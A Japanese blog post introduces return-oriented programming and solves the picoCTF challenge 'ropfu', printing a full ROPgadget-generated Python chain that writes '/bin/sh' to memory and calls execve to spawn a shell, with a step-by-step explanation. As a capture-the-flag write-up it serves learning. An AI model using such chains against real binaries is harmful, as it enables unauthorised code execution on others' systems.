こんにちは!いかついプログラマです。 新年が始まり3週間経とうとしています。何だか年々時間が経つのが早い気がするのは気のせいなのでしょうか?
さて、今年2023年は卯年です。 うさぎといえば耳、うさぎの耳といえば、、、

ロップイヤー!!!垂れ耳がキュートですよね~~~
ということで(?)今回はROPにチャレンジしてみようと思います。
ROPとは
ROP(Return-oriented Programming)とは、スタックのリターンアドレスを書き換えることによって、任意の処理を実行する攻撃手法です。 ROPでは、一般的にROPガジェットと呼ばれる命令群、例えば
pop eax;
ret
のような命令のアドレスを順にスタックへ書き込みことで任意の処理を実現可能です。
実践
picoCTFのropfuを解いてみます。
objdumpで逆アセンブリしたものからgrepしてROPガジェットを探す…なんてことをしていると日が暮れるどころではないので、"ROPGadget"ツールに頼ります。
このツールにバイナリを渡してあげるとそれだけでシェルを奪取するROPチェーンをくみ上げてくれる代物です(魔法か???)
そして出力されたものがこちらになります。
ROP chain generation
===========================================================
- Step 1 -- Write-what-where gadgets
[+] Gadget found: 0x8059102 mov dword ptr [edx], eax ; ret
[+] Gadget found: 0x80583c9 pop edx ; pop ebx ; ret
[+] Gadget found: 0x80b074a pop eax ; ret
[+] Gadget found: 0x804fb90 xor eax, eax ; ret
- Step 2 -- Init syscall number gadgets
[+] Gadget found: 0x804fb90 xor eax, eax ; ret
[+] Gadget found: 0x808055e inc eax ; ret
- Step 3 -- Init syscall arguments gadgets
[+] Gadget found: 0x8049022 pop ebx ; ret
[+] Gadget found: 0x8049e39 pop ecx ; ret
[+] Gadget found: 0x80583c9 pop edx ; pop ebx ; ret
- Step 4 -- Syscall gadget
[+] Gadget found: 0x804a3d2 int 0x80
- Step 5 -- Build the ROP chain
#!/usr/bin/env python3
# execve generated by ROPgadget
from struct import pack
# Padding goes here
p = b''
p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
p += pack('<I', 0x080e5060) # @ .data
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x080b074a) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
p += pack('<I', 0x080e5064) # @ .data + 4
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x080b074a) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
p += pack('<I', 0x080e5068) # @ .data + 8
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x0804fb90) # xor eax, eax ; ret
p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08049022) # pop ebx ; ret
p += pack('<I', 0x080e5060) # @ .data
p += pack('<I', 0x08049e39) # pop ecx ; ret
p += pack('<I', 0x080e5068) # @ .data + 8
p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
p += pack('<I', 0x080e5068) # @ .data + 8
p += pack('<I', 0x080e5060) # padding without overwrite ebx
p += pack('<I', 0x0804fb90) # xor eax, eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0804a3d2) # int 0x80
簡単に解説すると、 execveシステムコールによって"/bin/sh"を開き、シェルを取得するようになっています。
p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
p += pack('<I', 0x080e5060) # @ .data
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x080b074a) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
p += pack('<I', 0x080e5064) # @ .data + 4
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x080b074a) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
p += pack('<I', 0x080e5068) # @ .data + 8
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x0804fb90) # xor eax, eax ; ret
p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08049022) # pop ebx ; ret
p += pack('<I', 0x080e5060) # @ .data
p += pack('<I', 0x08049e39) # pop ecx ; ret
p += pack('<I', 0x080e5068) # @ .data + 8
p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
p += pack('<I', 0x080e5068) # @ .data + 8
p += pack('<I', 0x080e5060) # padding without overwrite ebx
ざっくりこのあたりでexecveの引数として渡す"/bin/sh"をスタックに配置し、
p += pack('<I', 0x0804fb90) # xor eax, eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0804a3d2) # int 0x80
これらの命令群でexecveをコールしています。
(eaxを0に初期化後、11回インクリメントを繰り返すことで
eax = 11、
その後 int 0x80によってシステムコール 11 = execve を行っています。)
よって、バイナリ列pをいい感じにスタックに上書きしてやれば無事シェルを奪取することができます。
それではまた次回!